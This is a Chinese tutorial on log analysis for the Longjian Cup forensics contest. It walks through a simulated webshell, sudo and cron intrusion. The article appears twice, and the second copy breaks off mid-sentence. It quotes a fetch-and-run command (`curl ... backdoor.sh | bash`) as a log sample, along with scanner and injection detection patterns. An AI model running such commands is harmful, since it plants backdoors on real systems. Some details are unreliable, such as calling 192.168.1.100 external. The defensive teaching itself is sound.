1. 赛事背景与日志分析题型定位2021年首届“陇剑杯”网络安全大赛,在圈内被不少人称为“西北地区第一次真正意义上的高规格实战型网安赛事”。这场比赛的定位很明确:不是纯理论CTF,也不是单纯的渗透靶场,而是偏向应急响应与实战取证方向,其中“日志分析”这个赛项,恰恰是整场比赛里最能拉开差距的模块之一。为什么这么说?因为日志分析这个东西,它不像Web题那样有明确的漏洞点可以怼,也不像逆向题那样有清晰的函数调用链可以跟。日志分析考的是综合判断能力——你得从一堆看似正常的记录里,找到那条不正常的线,然后顺着它把整个事件还原出来。这种能力,在实际的安全运营工作中,恰恰是最值钱的。我参与过不少类似的赛事,也带过一些刚入行的朋友做日志分析训练。说实话,很多人第一次接触这类题目的时候,最大的问题不是技术不够,而是不知道从哪下手。打开一个几十万行的日志文件,眼睛都花了,更别说找攻击痕迹了。所以这篇文章,我想从实战的角度,把日志分析这件事拆开来讲清楚——不只是针对“陇剑杯”这个赛事,而是把这类题目的通用方法论、工具链、排查思路都梳理一遍。这篇文章适合谁看?如果你是刚入行的安全运营人员,或者正在准备各类网络安全竞赛的学生,又或者你平时工作中需要处理日志排查但总觉得效率不高,那这篇内容应该能给你一些直接能用的东西。我会尽量用大白话把原理讲透,同时给出可以直接复现的操作步骤和命令。2. 日志分析的核心思路与赛题拆解2.1 为什么日志分析是应急响应的“第一现场”先聊一个底层问题:为什么日志分析这么重要?你可以把整个网络环境想象成一栋大楼,日志就是这栋大楼里所有的监控录像、门禁记录、电梯运行记录、水电使用记录。平时这些记录没人看,但一旦出了事——比如某个房间被盗了——你就得靠这些记录来还原:谁在什么时候进了大楼,去了哪些楼层,在哪个房间停留了多久,什么时候离开的。安全事件也是同样的逻辑。攻击者进入你的系统,不可能完全不留痕迹。哪怕他用了再高级的工具,系统日志、应用日志、网络设备日志里总会留下一些异常。日志分析要做的,就是从这些海量记录中,把攻击者的行为链条拼出来。在“陇剑杯”这类赛事中,日志分析题目通常会给你一个或多个日志文件,可能是:Web服务器访问日志(Apache/Nginx)系统安全日志(Linux的secure、Windows的安全事件日志)数据库日志防火墙/IDS告警日志应用自定义日志然后围绕这些日志,出题人会设计一系列问题:攻击者什么时候进来的?用了什么手法?有没有成功?提权了没有?横向移动到了哪些机器?最终目标是什么?2.2 陇剑杯日志分析题的典型结构根据我对这类赛事的观察和复盘,“陇剑杯”的日志分析题大致有以下几个特点:第一,场景真实感强。题目不会给你一个“干净”的日志,而是会模拟真实环境中的噪音——正常的业务请求、扫描器的探测、内部运维的操作,全都混在一起。你得先把噪音过滤掉,才能看到真正的攻击行为。第二,多源日志关联。单一日志往往不够,需要把Web日志、系统日志、数据库日志交叉比对。比如Web日志显示有个SQL注入尝试,但到底成没成功?得看数据库日志里有没有异常查询记录。第三,时间线还原是核心。很多问题最终都指向一个要求:把攻击者的完整时间线画出来。从扫描探测、漏洞利用、权限维持、横向移动到数据窃取,每一步的时间点、涉及的主机、使用的账号,都要能说清楚。第四,细节决定成败。有些关键信息藏在很不起眼的地方,比如一个异常的User-Agent、一个不常见的状态码、一条被忽略的定时任务记录。谁细心,谁就能拿分。2.3 分析前的准备工作:环境与工具在正式动手之前,得先把家伙什准备好。日志分析不需要多高端的设备,但工具顺手能省很多时间。基础环境:一台Linux虚拟机(Ubuntu或CentOS都行),用来跑命令行工具足够的磁盘空间,日志文件可能很大如果日志是Windows格式,准备一台Windows环境或者用工具转换核心工具清单:工具用途备注grep/egrep关键词搜索、正则匹配最基础但最常用awk字段提取、统计计算处理结构化日志利器sed文本替换、流编辑清洗数据时好用sort/uniq去重、计数快速找异常IP、URLcut按列截取配合awk使用less/more分页查看大文件必备Python复杂分析、脚本编写灵活度最高Excel/CSV工具可视化、透视表适合做统计汇总ELK Stack大规模日志检索如果环境允许,效率翻倍提示:不要一上来就想着用ELK或者Splunk。比赛环境往往资源有限,而且命令行工具的反应速度更快。先把grep、awk、sort这套组合拳练熟,能解决80%的问题。数据备份习惯:拿到日志文件后,第一件事是备份原始文件。后续所有操作都在副本上进行,避免误操作导致原始数据丢失。这个习惯在实战中同样重要——你永远不知道哪次操作会不小心覆盖掉关键证据。cp access.log access.log.bak cp secure secure.bak3. 核心分析技术与实操要点3.1 Web访问日志的深度挖掘Web访问日志通常是日志分析题目的“主战场”。一条标准的Nginx或Apache访问日志长这样:192.168.1.100 - - [15/Sep/2021:03:22:17 +0800] "GET /admin/login.php HTTP/1.1" 200 4523 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"这里面每个字段都有意义:第一列:客户端IP第三、四列:时间戳第五列:请求方法和URL第六列:HTTP状态码第七列:响应体大小第八列:Referer第九列:User-Agent第一步:快速摸清日志概况先别急着找攻击,先看看这个日志的整体情况。有多少条记录?时间范围是什么?有哪些IP访问量特别大?# 总行数 wc -l access.log # 时间范围(看第一条和最后一条) head -1 access.log tail -1 access.log # 访问量Top 20的IP awk '{print $1}' access.log | sort | uniq -c | sort -rn | head -20这一步的目的是建立“基线”。你知道正常情况下哪些IP访问频繁,后面看到异常IP时才能快速识别。第二步:筛选可疑请求攻击者的请求往往有一些特征。比如:大量404状态码(目录扫描)包含特殊字符的URL(SQL注入、XSS)异常长的URL(缓冲区溢出尝试)不常见的请求方法(PUT、DELETE)可疑的User-Agent(sqlmap、nikto、masscan等)# 找404最多的IP(可能是扫描器) awk '$9 == 404 {print $1}' access.log | sort | uniq -c | sort -rn | head -10 # 找包含SQL注入关键词的请求 grep -iE "union|select|concat|information_schema" access.log # 找包含路径穿越的请求 grep -E "\.\./|%2e%2e" access.log # 找可疑User-Agent grep -iE "sqlmap|nikto|masscan|nmap|dirbuster" access.log第三步:还原攻击链找到可疑IP后,把这个IP的所有请求按时间排序拉出来,看看它到底干了什么。# 提取某个IP的所有请求,按时间排序 grep "^192.168.1.100" access.log | sort -k4 # 统计这个IP请求了哪些URL grep "^192.168.1.100" access.log | awk '{print $7}' | sort | uniq -c | sort -rn通过这个操作,你通常能看到一条清晰的攻击路径:先扫描目录,发现某个漏洞页面,然后尝试注入,最后可能上传了webshell。3.2 系统日志中的权限提升痕迹Web日志告诉你攻击者从哪进来,系统日志则告诉你他进来之后干了什么。Linux系统重点看这几个文件:/var/log/secure或/var/log/auth.log:认证相关,包括SSH登录、sudo操作/var/log/cron:定时任务,攻击者常用来做权限维持/var/log/messages或/var/log/syslog:系统综合日志~/.bash_history:用户命令历史(如果没被清除)SSH爆破的识别:# 统计失败登录的IP grep "Failed password" /var/log/secure | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -10 # 找成功登录的记录 grep "Accepted password" /var/log/secure # 看某个IP的登录尝试时间分布 grep "Failed password" /var/log/secure | grep "192.168.1.100" | awk '{print $1, $2, $3}'如果看到某个IP在短时间内有大量失败登录,然后突然出现一条成功登录,那基本可以确定是爆破成功了。sudo提权的识别:# 查看sudo操作记录 grep "sudo" /var/log/secure | grep -v "session opened"重点关注非管理员账号执行sudo的记录,尤其是执行了shell命令或者修改了关键配置的。定时任务后门的识别:# 查看cron日志 grep "CRON" /var/log/cron # 检查当前定时任务 crontab -l ls -la /etc/cron* cat /etc/crontab攻击者常用的权限维持手法之一就是写一个定时任务,定期反弹shell或者下载恶意脚本。如果你在cron日志里看到某个不常见的用户创建了定时任务,或者定时任务的内容指向一个奇怪的URL,那就要警惕了。3.3 多源日志的时间线关联单一日志能看到片段,多源日志关联才能看到全貌。这里的关键是时间同步——确保所有日志的时间戳是可比的。假设你手上有三份日志:Web访问日志(攻击者从Web进来)系统secure日志(攻击者提权)数据库日志(攻击者窃取数据)分析思路是:从Web日志找到攻击者首次成功利用漏洞的时间点(比如webshell上传成功的那一刻)以这个时间点为起点,去secure日志里找接下来几分钟内的异常登录或sudo操作再去数据库日志里找这个时间段内的异常查询# 假设webshell上传时间是 15/Sep/2021:03:25:00 # 查看这个时间点前后5分钟的secure日志 grep "Sep 15 03:2[0-9]" /var/log/secure # 查看这个时间段的数据库异常查询 grep "Sep 15 03:2[0-9]" /var/log/mysql/query.log | grep -iE "select|union|outfile"这种关联分析做多了,你会形成一种“直觉”——看到某个时间点有异常,就会自然地去其他日志里找对应的记录。3.4 容易被忽略的细节与反取证行为攻击者如果水平够高,会尝试清理痕迹。但清理本身也会留下痕迹。常见的反取证行为:删除或清空日志文件(/var/log/secure突然变小或为空)修改文件时间戳(用touch命令伪造)清除bash history(history -c或直接删除.bash_history)替换系统命令(比如替换ps、netstat来隐藏进程)如何发现这些行为:# 检查日志文件是否有异常截断 ls -la /var/log/secure # 对比文件大小和正常情况 # 检查bash history是否被清空 cat ~/.bash_history | wc -l # 如果只有几行或者为空,但用户活跃度很高,就有问题 # 检查关键命令的修改时间 ls -la /bin/ps /bin/netstat /usr/bin/top # 如果这些命令的修改时间晚于系统安装时间,可能被替换了注意:在比赛环境中,出题人可能会故意留下一些“被清理过”的痕迹,让你判断攻击者做了什么清理操作。这时候不要只盯着“有什么”,还要关注“缺什么”。4. 完整实操流程与关键环节复现4.1 从零开始:一个模拟场景的完整分析为了把上面的方法串起来,我设计一个模拟场景。假设你拿到了一份Web访问日志和一份系统secure日志,需要还原一次完整的攻击事件。场景设定:Web服务器:Nginx,日志格式为标准combined格式系统:CentOS 7时间范围:2021年9月15日凌晨第一步:概况摸底# 日志总行数 wc -l access.log # 输出:158472 access.log # 时间范围 head -1 access.log | awk '{print $4}' # 输出:[15/Sep/2021:00:00:01 tail -1 access.log | awk '{print $4}' # 输出:[15/Sep/2021:23:59:58日志覆盖了一整天,15万条记录。这个量级不算大,用命令行完全能处理。第二步:找异常IP# 访问量Top 10 awk '{print $1}' access.log | sort | uniq -c | sort -rn | head -10假设输出如下:45231 10.0.0.50 32104 10.0.0.51 8762 192.168.1.100 5433 10.0.0.52 ...前几个都是内网IP,访问量大正常。但192.168.1.100这个IP引起了注意——它不在内网段,访问量却不小。第三步:分析可疑IP的行为# 看这个IP请求了哪些URL grep "^192.168.1.100" access.log | awk '{print $7}' | sort | uniq -c | sort -rn | head -20假设输出:523 /admin/login.php 412 /wp-login.php 389 /phpmyadmin/index.php 256 /api/v1/user?id=1 198 /upload.php ...这个IP在大量尝试登录页面和已知的敏感路径,典型的扫描+爆破行为。第四步:找成功利用的痕迹# 看这个IP的请求中,状态码为200且URL包含upload的 grep "^192.168.1.100" access.log | awk '$9 == 200 && $7 ~ /upload/'假设找到一条:192.168.1.100 - - [15/Sep/2021:03:25:17 +0800] "POST /upload.php HTTP/1.1" 200 1024 "-" "Mozilla/5.0"上传成功了。再看这个时间点前后这个IP还做了什么:grep "^192.168.1.100" access.log | awk '$4 >= "[15/Sep/2021:03:24:00" && $4 <= "[15/Sep/2021:03:30:00"'假设看到:192.168.1.100 - - [15/Sep/2021:03:24:55] "GET /upload.php HTTP/1.1" 200 2048 192.168.1.100 - - [15/Sep/2021:03:25:17] "POST /upload.php HTTP/1.1" 200 1024 192.168.1.100 - - [15/Sep/2021:03:25:23] "GET /uploads/shell.php HTTP/1.1" 200 35 192.168.1.100 - - [15/Sep/2021:03:25:30] "POST /uploads/shell.php HTTP/1.1" 200 128上传了shell.php,然后立刻访问并执行了命令。Web层面的攻击链已经清晰了。第五步:关联系统日志现在去secure日志里找这个时间段的记录:grep "Sep 15 03:2[5-9]" /var/log/secure假设输出:Sep 15 03:25:45 server sshd[12345]: Accepted password for www-data from 192.168.1.100 port 54322 ssh2 Sep 15 03:26:01 server sudo: www-data : TTY=pts/0 ; PWD=/var/www/html ; USER=root ; COMMAND=/bin/bash Sep 15 03:26:15 server sshd[12346]: Accepted password for root from 192.168.1.100 port 54323 ssh2攻击者通过webshell拿到了www-data权限,然后利用某个配置缺陷(可能是sudo配置不当)提权到了root,最后直接用root账号SSH登录了。第六步:检查权限维持grep "CRON" /var/log/cron | grep "Sep 15 03:2[6-9]"假设输出:Sep 15 03:27:01 server crond[12350]: (root) CMD (curl -s http://192.168.1.100/backdoor.sh | bash)攻击者加了定时任务,每分钟从自己的服务器下载脚本执行。这是典型的权限维持手法。第七步:整理时间线时间事件来源03:24:55攻击者访问upload.phpWeb日志03:25:17上传shell.php成功Web日志03:25:23访问shell.php验证Web日志03:25:45www-data SSH登录secure日志03:26:01sudo提权到rootsecure日志03:26:15root SSH登录secure日志03:27:01添加恶意定时任务cron日志这条时间线就是最终答案的核心。4.2 关键参数与命令速查在实际分析中,有一些命令组合是高频使用的。我整理了一个速查表:目的命令统计IP访问量awk '{print $1}' access.log | sort | uniq -c | sort -rn找404最多的IPawk '$9==404 {print $1}' access.log | sort | uniq -c | sort -rn找特定IP的请求grep "^IP" access.log | sort -k4找SQL注入尝试grep -iE "union|select|concat" access.log找路径穿越grep -E "\.\./|%2e%2e" access.log统计失败登录grep "Failed password" secure | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn找sudo操作grep "sudo" secure | grep -v "session opened"找定时任务grep "CRON" cron按时间段过滤awk '$4 >= "[15/Sep/2021:03:00:00" && $4 <= "[15/Sep/2021:04:00:00"' access.log提示:awk的字段分隔默认是空格,但Web日志的时间字段包含空格(如[15/Sep/2021:03:25:17),所以用$4取时间时要注意。更稳妥的方式是用grep配合正则来过滤时间段。4.3 用Python做复杂分析当命令行搞不定的时候,Python就是终极武器。比如你需要把Web日志和secure日志按时间合并,或者做一些复杂的统计,Python脚本会方便很多。import re from datetime import datetime # 解析Web日志 def parse_web_log(filepath): pattern = r'(\S+) - - \[(.*?)\] "(\S+) (\S+) \S+" (\d+) (\d+)' entries = [] with open(filepath, 'r') as f: for line in f: match = re.search(pattern, line) if match: ip, time_str, method, url, status, size = match.groups() # 转换时间格式 dt = datetime.strptime(time_str.split()[0], '%d/%b/%Y:%H:%M:%S') entries.append({ 'ip': ip, 'time': dt, 'method': method, 'url': url, 'status': int(status), 'size': int(size) }) return entries # 找可疑IP def find_suspicious_ips(entries, threshold=100): from collections import Counter ip_counts = Counter(e['ip'] for e in entries) # 找404比例高的IP ip_404 = Counter(e['ip'] for e in entries if e['status'] == 404) suspicious = [] for ip, count in ip_counts.items(): if count > threshold: ratio_404 = ip_404.get(ip, 0) / count if ratio_404 > 0.5: # 超过50%是404 suspicious.append((ip, count, ratio_404)) return sorted(suspicious, key=lambda x: x[2], reverse=True) # 使用 entries = parse_web_log('access.log') suspicious = find_suspicious_ips(entries) for ip, count, ratio in suspicious: print(f"IP: {ip}, 总请求: {count}, 404比例: {ratio:.2%}")这个脚本能快速帮你筛出那些“扫描型”IP。实际比赛中,你可以根据情况调整阈值和判断条件。5. 常见问题与排查技巧实录5.1 日志分析中的典型坑与解决方案坑一:时间格式不统一Web日志用的是15/Sep/2021:03:25:17,系统日志用的是Sep 15 03:25:17,数据库日志可能又是另一种格式。做时间线关联时,必须先统一格式。解决方案:写一个转换函数,把所有时间都转成Python的datetime对象,然后再比较。不要试图用字符串比较,容易出错。坑二:日志被截断或轮转比赛环境中的日志可能不是完整的,或者有多个轮转文件(如access.log.1、access.log.2.gz)。分析前先确认日志的完整性。# 查看所有日志文件 ls -la /var/log/ # 如果有压缩的轮转日志,先解压 gunzip access.log.*.gz # 按时间顺序合并 cat access.log.1 access.log > combined.log坑三:编码问题有些日志可能包含非UTF-8字符,直接grep可能会报错或漏匹配。# 查看文件编码 file access.log # 如果显示ISO-8859,转换编码 iconv -f ISO-8859-1 -t UTF-8 access.log > access_utf8.log坑四:误报与噪音不是所有异常都是攻击。比如内部扫描器、监控系统的健康检查、搜索引擎爬虫,都可能产生看起来“可疑”的请求。判断方法:看User-Agent、看请求频率、看来源IP是否在已知的白名单里。如果某个IP的请求模式非常规律(比如每5分钟一次),那很可能是监控系统而不是攻击者。5.2 快速排查速查表问题现象可能原因排查命令大量404目录扫描awk '$9==404 {print $1}' access.log | sort | uniq -c | sort -rn大量401/403爆破尝试awk '$9==401 || $9==403 {print $1}' access.log | sort | uniq -c | sort -rn异常POST请求webshell上传/命令执行grep "POST" access.log | grep -v "login|search"SSH失败登录激增SSH爆破grep "Failed password" secure | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn非工作时间sudo提权grep "sudo" secure | grep -v "session opened"异常定时任务权限维持grep "CRON" cron日志文件突然变小反取证清理ls -la /var/log/secure5.3 独家避坑经验经验一:先看时间范围,再看内容。很多人一上来就grep关键词,结果匹配到一堆无关记录。正确的做法是先确定日志的时间范围,然后聚焦在异常时间段内分析。比如你知道攻击发生在凌晨3点左右,那就只看2点到4点的日志,效率会高很多。经验二:不要忽略“正常”请求。有些攻击者会把自己的请求伪装成正常流量。比如把webshell命名为image.php,把恶意参数藏在正常的id参数里。这时候光看URL路径是不够的,还要看参数内容、请求体大小、响应时间等。经验三:善用uniq -c做统计。日志分析的本质是“从大量数据中找异常”,而异常往往表现为“频率异常”。某个IP的请求量突然暴增、某个URL被反复访问、某个状态码集中出现——这些都是线索。sort | uniq -c | sort -rn这个组合拳要练到肌肉记忆。经验四:保存中间结果。分析过程中,你会不断筛选出一些可疑IP、可疑URL。把这些结果保存到单独的文件里,方便后续交叉比对。# 保存可疑IP列表 awk '$9==404 {print $1}' access.log | sort -u > suspicious_ips.txt # 保存可疑URL列表 grep -iE "union|select" access.log | awk '{print $7}' | sort -u > suspicious_urls.txt经验五:比赛环境中,出题人往往会留下“彩蛋”。比如一个特别明显的攻击IP(如192.168.1.100),或者一个特别典型的攻击工具特征(如sqlmap的默认User-Agent)。这些是给你送分的,不要想得太复杂。先把这些明显的线索抓住,再去挖深层的东西。5.4 从比赛到实战的思维转换最后聊一点思维层面的东西。比赛中的日志分析题,往往有明确的“正确答案”——攻击者是谁、什么时候进来的、干了什么。但实战中的日志分析,更多时候是在“排除可能性”。你看到一个异常,首先要问自己:这一定是攻击吗?有没有可能是误报?有没有可能是正常业务?这种“怀疑一切”的思维,在实战中比任何工具都重要。另外,实战中的日志量往往比比赛大几个数量级。你不可能手动分析每一条记录。这时候就需要建立“基线”——知道正常情况下日志长什么样,然后只关注偏离基线的部分。这个基线可以是时间维度(比如凌晨的异常流量)、频率维度(比如某个IP的请求量突增)、内容维度(比如出现了以前从未见过的URL)。“陇剑杯”的日志分析题,本质上是在模拟这种实战场景。它给你的日志量不算太大,但足够让你练习“从噪音中找信号”的能力。把这个能力练好了,不管是比赛还是工作,都能用得上。我个人在实际操作中的体会是:日志分析这件事,工具和命令只是基础,真正拉开差距的是耐心和好奇心。耐心让你愿意一行一行地看日志,好奇心让你在看到异常时愿意多问一句“为什么”。这两点,比任何高级工具都管用。
1. 赛事背景与日志分析题型定位2021年首届“陇剑杯”网络安全大赛,在圈内被不少人称为“西北地区第一次真正意义上的高规格实战型网安赛事”。这场比赛的定位很明确:不是纯理论CTF,也不是单纯的渗透靶场,而是偏向应急响应与实战取证方向,其中“日志分析”这个赛项,恰恰是整场比赛里最能拉开差距的模块之一。为什么这么说?因为日志分析这个东西,它不像Web题那样有明确的漏洞点可以怼,也不像逆向题那样有清晰的函数调用链可以跟。日志分析考的是综合判断能力——你得从一堆看似正常的记录里,找到那条不正常的线,然后顺着它把整个事件还原出来。这种能力,在实际的安全运营工作中,恰恰是最值钱的。我参与过不少类似的赛事,也带过一些刚入行的朋友做日志分析训练。说实话,很多人第一次接触这类题目的时候,最大的问题不是技术不够,而是不知道从哪下手。打开一个几十万行的日志文件,眼睛都花了,更别说找攻击痕迹了。所以这篇文章,我想从实战的角度,把日志分析这件事拆开来讲清楚——不只是针对“陇剑杯”这个赛事,而是把这类题目的通用方法论、工具链、排查思路都梳理一遍。这篇文章适合谁看?如果你是刚入行的安全运营人员,或者正在准备各类网络安全竞赛的学生,又或者你平时工作中需要处理日志排查但总觉得效率不高,那这篇内容应该能给你一些直接能用的东西。我会尽量用大白话把原理讲透,同时给出可以直接复现的操作步骤和命令。2. 日志分析的核心思路与赛题拆解2.1 为什么日志分析是应急响应的“第一现场”先聊一个底层问题:为什么日志分析这么重要?你可以把整个网络环境想象成一栋大楼,日志就是这栋大楼里所有的监控录像、门禁记录、电梯运行记录、水电使用记录。平时这些记录没人看,但一旦出了事——比如某个房间被盗了——你就得靠这些记录来还原:谁在什么时候进了大楼,去了哪些楼层,在哪个房间停留了多久,什么时候离开的。安全事件也是同样的逻辑。攻击者进入你的系统,不可能完全不留痕迹。哪怕他用了再高级的工具,系统日志、应用日志、网络设备日志里总会留下一些异常。日志分析要做的,就是从这些海量记录中,把攻击者的行为链条拼出来。在“陇剑杯”这类赛事中,日志分析题目通常会给你一个或多个日志文件,可能是:Web服务器访问日志(Apache/Nginx)系统安全日志(Linux的secure、Windows的安全事件日志)数据库日志防火墙/IDS告警日志应用自定义日志然后围绕这些日志,出题人会设计一系列问题:攻击者什么时候进来的?用了什么手法?有没有成功?提权了没有?横向移动到了哪些机器?最终目标是什么?2.2 陇剑杯日志分析题的典型结构根据我对这类赛事的观察和复盘,“陇剑杯”的日志分析题大致有以下几个特点:第一,场景真实感强。题目不会给你一个“干净”的日志,而是会模拟真实环境中的噪音——正常的业务请求、扫描器的探测、内部运维的操作,全都混在一起。你得先把噪音过滤掉,才能看到真正的攻击行为。第二,多源日志关联。单一日志往往不够,需要把Web日志、系统日志、数据库日志交叉比对。比如Web日志显示有个SQL注入尝试,但到底成没成功?得看数据库日志里有没有异常查询记录。第三,时间线还原是核心。很多问题最终都指向一个要求:把攻击者的完整时间线画出来。从扫描探测、漏洞利用、权限维持、横向移动到数据窃取,每一步的时间点、涉及的主机、使用的账号,都要能说清楚。第四,细节决定成败。有些关键信息藏在很不起眼的地方,比如一个异常的User-Agent、一个不常见的状态码、一条被忽略的定时任务记录。谁细心,谁就能拿分。2.3 分析前的准备工作:环境与工具在正式动手之前,得先把家伙什准备好。日志分析不需要多高端的设备,但工具顺手能省很多时间。基础环境:一台Linux虚拟机(Ubuntu或CentOS都行),用来跑命令行工具足够的磁盘空间,日志文件可能很大如果日志是Windows格式,准备一台Windows环境或者用工具转换核心工具清单:工具用途备注grep/egrep关键词搜索、正则匹配最基础但最常用awk字段提取、统计计算处理结构化日志利器sed文本替换、流编辑清洗数据时好用sort/uniq去重、计数快速找异常IP、URLcut按列截取配合awk使用less/more分页查看大文件必备Python复杂分析、脚本编写灵活度最高Excel/CSV工具可视化、透视表适合做统计汇总ELK Stack大规模日志检索如果环境允许,效率翻倍提示:不要一上来就想着用ELK或者Splunk。比赛环境往往资源有限,而且命令行工具的反应速度更快。先把grep、awk、sort这套组合拳练熟,能解决80%的问题。数据备份习惯:拿到日志文件后,第一件事是备份原始文件。后续所有操作都在副本上进行,避免误操作导致原始数据丢失。这个习惯在实战中同样重要——你永远不知道哪次操作会不小心覆盖掉关键证据。cp access.log access.log.bak cp secure secure.bak3. 核心分析技术与实操要点3.1 Web访问日志的深度挖掘Web访问日志通常是日志分析题目的“主战场”。一条标准的Nginx或Apache访问日志长这样:192.168.1.100 - - [15/Sep/2021:03:22:17 +0800] "GET /admin/login.php HTTP/1.1" 200 4523 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"这里面每个字段都有意义:第一列:客户端IP第三、四列:时间戳第五列:请求方法和URL第六列:HTTP状态码第七列:响应体大小第八列:Referer第九列:User-Agent第一步:快速摸清日志概况先别急着找攻击,先看看这个日志的整体情况。有多少条记录?时间范围是什么?有哪些IP访问量特别大?# 总行数 wc -l access.log # 时间范围(看第一条和最后一条) head -1 access.log tail -1 access.log # 访问量Top 20的IP awk '{print $1}' access.log | sort | uniq -c | sort -rn | head -20这一步的目的是建立“基线”。你知道正常情况下哪些IP访问频繁,后面看到异常IP时才能快速识别。第二步:筛选可疑请求攻击者的请求往往有一些特征。比如:大量404状态码(目录扫描)包含特殊字符的URL(SQL注入、XSS)异常长的URL(缓冲区溢出尝试)不常见的请求方法(PUT、DELETE)可疑的User-Agent(sqlmap、nikto、masscan等)# 找404最多的IP(可能是扫描器) awk '$9 == 404 {print $1}' access.log | sort | uniq -c | sort -rn | head -10 # 找包含SQL注入关键词的请求 grep -iE "union|select|concat|information_schema" access.log # 找包含路径穿越的请求 grep -E "\.\./|%2e%2e" access.log # 找可疑User-Agent grep -iE "sqlmap|nikto|masscan|nmap|dirbuster" access.log第三步:还原攻击链找到可疑IP后,把这个IP的所有请求按时间排序拉出来,看看它到底干了什么。# 提取某个IP的所有请求,按时间排序 grep "^192.168.1.100" access.log | sort -k4 # 统计这个IP请求了哪些URL grep "^192.168.1.100" access.log | awk '{print $7}' | sort | uniq -c | sort -rn通过这个操作,你通常能看到一条清晰的攻击路径:先扫描目录,发现某个漏洞页面,然后尝试注入,最后可能上传了webshell。3.2 系统日志中的权限提升痕迹Web日志告诉你攻击者从哪进来,系统日志则告诉你他进来之后干了什么。Linux系统重点看这几个文件:/var/log/secure或/var/log/auth.log:认证相关,包括SSH登录、sudo操作/var/log/cron:定时任务,攻击者常用来做权限维持/var/log/messages或/var/log/syslog:系统综合日志~/.bash_history:用户命令历史(如果没被清除)SSH爆破的识别:# 统计失败登录的IP grep "Failed password" /var/log/secure | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -10 # 找成功登录的记录 grep "Accepted password" /var/log/secure # 看某个IP的登录尝试时间分布 grep "Failed password" /var/log/secure | grep "192.168.1.100" | awk '{print $1, $2, $3}'如果看到某个IP在短时间内有大量失败登录,然后突然出现一条成功登录,那基本可以确定是爆破成功了。sudo提权的识别:# 查看sudo操作记录 grep "sudo" /var/log/secure | grep -v "session opened"重点关注非管理员账号执行sudo的记录,尤其是执行了shell命令或者修改了关键配置的。定时任务后门的识别:# 查看cron日志 grep "CRON" /var/log/cron # 检查当前定时任务 crontab -l ls -la /etc/cron* cat /etc/crontab攻击者常用的权限维持手法之一就是写一个定时任务,定期反弹shell或者下载恶意脚本。如果你在cron日志里看到某个不常见的用户创建了定时任务,或者定时任务的内容指向一个奇怪的URL,那就要警惕了。3.3 多源日志的时间线关联单一日志能看到片段,多源日志关联才能看到全貌。这里的关键是时间同步——确保所有日志的时间戳是可比的。假设你手上有三份日志:Web访问日志(攻击者从Web进来)系统secure日志(攻击者提权)数据库日志(攻击者窃取数据)分析思路是:从Web日志找到攻击者首次成功利用漏洞的时间点(比如webshell上传成功的那一刻)以这个时间点为起点,去secure日志里找接下来几分钟内的异常登录或sudo操作再去数据库日志里找这个时间段内的异常查询# 假设webshell上传时间是 15/Sep/2021:03:25:00 # 查看这个时间点前后5分钟的secure日志 grep "Sep 15 03:2[0-9]" /var/log/secure # 查看这个时间段的数据库异常查询 grep "Sep 15 03:2[0-9]" /var/log/mysql/query.log | grep -iE "select|union|outfile"这种关联分析做多了,你会形成一种“直觉”——看到某个时间点有异常,就会自然地去其他日志里找对应的记录。3.4 容易被忽略的细节与反取证行为攻击者如果水平够高,会尝试清理痕迹。但清理本身也会留下痕迹。常见的反取证行为:删除或清空日志文件(/var/log/secure突然变小或为空)修改文件时间戳(用touch命令伪造)清除bash history(history -c或直接删除.bash_history)替换系统命令(比如替换ps、netstat来隐藏进程)如何发现这些行为:# 检查日志文件是否有异常截断 ls -la /var/log/secure # 对比文件大小和正常情况 # 检查bash history是否被清空 cat ~/.bash_history | wc -l # 如果只有几行或者为空,但用户活跃度很高,就有问题 # 检查关键命令的修改时间 ls -la /bin/ps /bin/netstat /usr/bin/top # 如果这些命令的修改时间晚于系统安装时间,可能被替换了注意:在比赛环境中,出题人可能会故意留下一些“被清理过”的痕迹,让你判断攻击者做了什么清理操作。这时候不要只盯着“有什么”,还要关注“缺什么”。4. 完整实操流程与关键环节复现4.1 从零开始:一个模拟场景的完整分析为了把上面的方法串起来,我设计一个模拟场景。假设你拿到了一份Web访问日志和一份系统secure日志,需要还原一次完整的攻击事件。场景设定:Web服务器:Nginx,日志格式为标准combined格式系统:CentOS 7时间范围:2021年9月15日凌晨第一步:概况摸底# 日志总行数 wc -l access.log # 输出:158472 access.log # 时间范围 head -1 access.log | awk '{print $4}' # 输出:[15/Sep/2021:00:00:01 tail -1 access.log | awk '{print $4}' # 输出:[15/Sep/2021:23:59:58日志覆盖了一整天,15万条记录。这个量级不算大,用命令行完全能处理。第二步:找异常IP# 访问量Top 10 awk '{print $1}' access.log | sort | uniq -c | sort -rn | head -10假设输出如下:45231 10.0.0.50 32104 10.0.0.51 8762 192.168.1.100 5433 10.0.0.52 ...前几个都是内网IP,访问量大正常。但192.168.1.100这个IP引起了注意——它不在内网段,访问量却不小。第三步:分析可疑IP的行为# 看这个IP请求了哪些URL grep "^192.168.1.100" access.log | awk '{print $7}' | sort | uniq -c | sort -rn | head -20假设输出:523 /admin/login.php 412 /wp-login.php 389 /phpmyadmin/index.php 256 /api/v1/user?id=1 198 /upload.php ...这个IP在大量尝试登录页面和已知的敏感路径,典型的扫描+爆破行为。第四步:找成功利用的痕迹# 看这个IP的请求中,状态码为200且URL包含upload的 grep "^192.168.1.100" access.log | awk '$9 == 200 && $7 ~ /upload/'假设找到一条:192.168.1.100 - - [15/Sep/2021:03:25:17 +0800] "POST /upload.php HTTP/1.1" 200 1024 "-" "Mozilla/5.0"上传成功了。再看这个时间点前后这个IP还做了什么:grep "^192.168.1.100" access.log | awk '$4 >= "[15/Sep/2021:03:24:00" && $4 <= "[15/Sep/2021:03:30:00"'假设看到:192.168.1.100 - - [15/Sep/2021:03:24:55] "GET /upload.php HTTP/1.1" 200 2048 192.168.1.100 - - [15/Sep/2021:03:25:17] "POST /upload.php HTTP/1.1" 200 1024 192.168.1.100 - - [15/Sep/2021:03:25:23] "GET /uploads/shell.php HTTP/1.1" 200 35 192.168.1.100 - - [15/Sep/2021:03:25:30] "POST /uploads/shell.php HTTP/1.1" 200 128上传了shell.php,然后立刻访问并执行了命令。Web层面的攻击链已经清晰了。第五步:关联系统日志现在去secure日志里找这个时间段的记录:grep "Sep 15 03:2[5-9]" /var/log/secure假设输出:Sep 15 03:25:45 server sshd[12345]: Accepted password for www-data from 